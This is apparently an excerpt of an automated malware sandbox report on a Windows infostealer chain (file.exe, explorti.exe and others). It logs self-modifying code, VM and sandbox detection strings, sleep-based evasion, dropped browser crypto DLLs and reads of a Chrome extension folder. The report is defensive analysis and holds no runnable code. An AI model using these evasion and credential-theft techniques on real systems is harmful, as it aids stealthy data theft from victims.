Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	Special instruction interceptor: First address: 7FEBC2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	Special instruction interceptor: First address: 7FC416 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	Special instruction interceptor: First address: 9D1C22 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Special instruction interceptor: First address: DEBC2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Special instruction interceptor: First address: DC416 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Special instruction interceptor: First address: 2B1C22 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe

Code function: 6_2_04A802AA rdtsc

6_2_04A802AA

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Thread delayed: delay time: 180000

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Window / User API: threadDelayed 456	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Window / User API: threadDelayed 7935	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Window / User API: threadDelayed 2065	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window / User API: threadDelayed 1027	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window / User API: threadDelayed 369	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window / User API: threadDelayed 1198	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window / User API: threadDelayed 1200	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\19a0b0f0ae.exe	Window / User API: threadDelayed 676	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

API coverage: 0.8 %

Source: C:\Users\user\Desktop\file.exe TID: 7512	Thread sleep count: 456 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 7276	Thread sleep time: -56028s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 7180	Thread sleep count: 1027 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 7180	Thread sleep time: -2055027s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 8176	Thread sleep count: 369 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 8176	Thread sleep time: -11070000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 7176	Thread sleep count: 1198 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 7176	Thread sleep time: -2397198s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 4852	Thread sleep time: -1080000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 7184	Thread sleep count: 1200 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 7184	Thread sleep time: -2401200s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\19a0b0f0ae.exe TID: 7644	Thread sleep count: 676 > 30	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C60C930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

0_2_6C60C930

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Thread delayed: delay time: 30000			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Thread delayed: delay time: 180000			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 2012 Server Standard without Hyper-V (core)
Source: file.exe, file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 11 Essential Server Solutions without Hyper-V
Source: file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: #Windows 10 Microsoft Hyper-V Server
Source: file.exe, file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8.1 Microsoft Hyper-V Server
Source: file.exe, file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 Server Standard without Hyper-V
Source: file.exe, file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8 Microsoft Hyper-V Server
Source: file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 11 Server Enterprise without Hyper-V (full)
Source: file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 2012 Server Datacenter without Hyper-V (core)
Source: file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 2016 Server Standard without Hyper-V (core)
Source: file.exe, 00000000.00000002.1833532825.0000000001B38000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWh
Source: file.exe, file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8.1 Server Standard without Hyper-V (core)
Source: file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 11 Server Enterprise without Hyper-V (core)
Source: file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: (Windows 2012 R2 Microsoft Hyper-V Server
Source: file.exe, file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 11 Microsoft Hyper-V Server
Source: file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 6Windows 2012 R2 Server Standard without Hyper-V (core)
Source: file.exe, file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 R2 Server Standard without Hyper-V
Source: file.exe, file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8 Server Datacenter without Hyper-V (core)
Source: file.exe, file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 10 Server Datacenter without Hyper-V (core)
Source: Amcache.hve.4.dr	Binary or memory string: vmci.sys
Source: file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 0Windows 8 Server Standard without Hyper-V (core)
Source: file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 6Windows 8.1 Essential Server Solutions without Hyper-V
Source: 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: vmware
Source: file.exe, file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8 Server Standard without Hyper-V
Source: file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 4Windows 8 Essential Server Solutions without Hyper-V
Source: file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 2012 Server Datacenter without Hyper-V (full)
Source: file.exe, file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2016 Essential Server Solutions without Hyper-V
Source: file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 8Windows 2012 R2 Server Enterprise without Hyper-V (full)
Source: file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 2016 Server Datacenter without Hyper-V (full)
Source: Amcache.hve.4.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.4.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.4.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.4.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 2Windows 8 Server Enterprise without Hyper-V (core)
Source: file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: "Windows 8 Microsoft Hyper-V Server
Source: file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 4Windows 8.1 Server Datacenter without Hyper-V (full)
Source: explorti.exe, explorti.exe, 00000009.00000002.1942476764.000000000026A000.00000040.00000001.01000000.0000000D.sdmp, explorti.exe, 0000000D.00000002.2323887978.000000000026A000.00000040.00000001.01000000.0000000D.sdmp, explorti.exe, 0000000F.00000002.2928926296.000000000026A000.00000040.00000001.01000000.0000000D.sdmp, explorti.exe, 00000010.00000002.3530794925.000000000026A000.00000040.00000001.01000000.0000000D.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 11 Server Datacenter without Hyper-V (full)
Source: Amcache.hve.4.dr	Binary or memory string: VMware Virtual USB Mouse
Source: file.exe, file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 10 Server Standard without Hyper-V
Source: file.exe, file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 R2 Microsoft Hyper-V Server
Source: Amcache.hve.4.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 2012 Server Enterprise without Hyper-V (core)
Source: file.exe, file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 R2 Server Enterprise without Hyper-V (full)
Source: file.exe, file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 R2 Server Datacenter without Hyper-V (core)
Source: file.exe, file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 11 Server Standard without Hyper-V (core)
Source: file.exe, file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8.1 Essential Server Solutions without Hyper-V
Source: file.exe, file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 R2 Server Standard without Hyper-V (core)
Source: file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Hyper-V (guest)
Source: Amcache.hve.4.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.4.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: file.exe, file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 10 Microsoft Hyper-V Server
Source: file.exe, file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 Essential Server Solutions without Hyper-V
Source: Amcache.hve.4.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.4.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: file.exe, file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 R2 Server Datacenter without Hyper-V (full)
Source: file.exe, file.exe, 00000000.00000002.1829921422.0000000000A2C000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000C3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: ~VirtualMachineTypes
Source: file.exe, file.exe, 00000000.00000002.1829921422.0000000000A2C000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000C3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: ]DLL_Loader_VirtualMachine
Source: file.exe, file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2016 Microsoft Hyper-V Server
Source: file.exe, 00000000.00000002.1829921422.0000000000A2C000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000C3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: DLL_Loader_Marker]DLL_Loader_VirtualMachineZDLL_Loader_Reloc_Unit
Source: file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: /Windows 2012 R2 Server Standard without Hyper-V
Source: file.exe, file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 11 Server Standard without Hyper-V
Source: file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: )Windows 8 Server Standard without Hyper-V
Source: GCGCBAECFC.exe, 00000006.00000002.1895336912.000000000098A000.00000040.00000001.01000000.00000009.sdmp, explorti.exe, 00000008.00000001.1873380228.000000000026A000.00000040.00000001.01000000.0000000D.sdmp, explorti.exe, 00000008.00000002.4113452480.000000000026A000.00000040.00000001.01000000.0000000D.sdmp, explorti.exe, 00000009.00000002.1942476764.000000000026A000.00000040.00000001.01000000.0000000D.sdmp, explorti.exe, 0000000D.00000002.2323887978.000000000026A000.00000040.00000001.01000000.0000000D.sdmp, explorti.exe, 0000000F.00000002.2928926296.000000000026A000.00000040.00000001.01000000.0000000D.sdmp, explorti.exe, 00000010.00000002.3530794925.000000000026A000.00000040.00000001.01000000.0000000D.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: file.exe, file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 11 Server Enterprise without Hyper-V (full)
Source: file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 2016 Server Datacenter without Hyper-V (core)
Source: file.exe, file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 11 Server Datacenter without Hyper-V (full)
Source: file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 2016 Server Enterprise without Hyper-V (core)
Source: file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: %Windows 2012 Microsoft Hyper-V Server
Source: file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Hyper-V
Source: Amcache.hve.4.dr	Binary or memory string: VMware
Source: file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: $Windows 8.1 Microsoft Hyper-V Server
Source: file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: ,Windows 2012 Server Standard without Hyper-V
Source: file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 10 Server Datacenter without Hyper-V (full)
Source: file.exe, file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 Microsoft Hyper-V Server
Source: file.exe, file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 Server Enterprise without Hyper-V (core)
Source: Amcache.hve.4.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 8Windows 2012 R2 Server Datacenter without Hyper-V (core)
Source: file.exe, file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8 Essential Server Solutions without Hyper-V
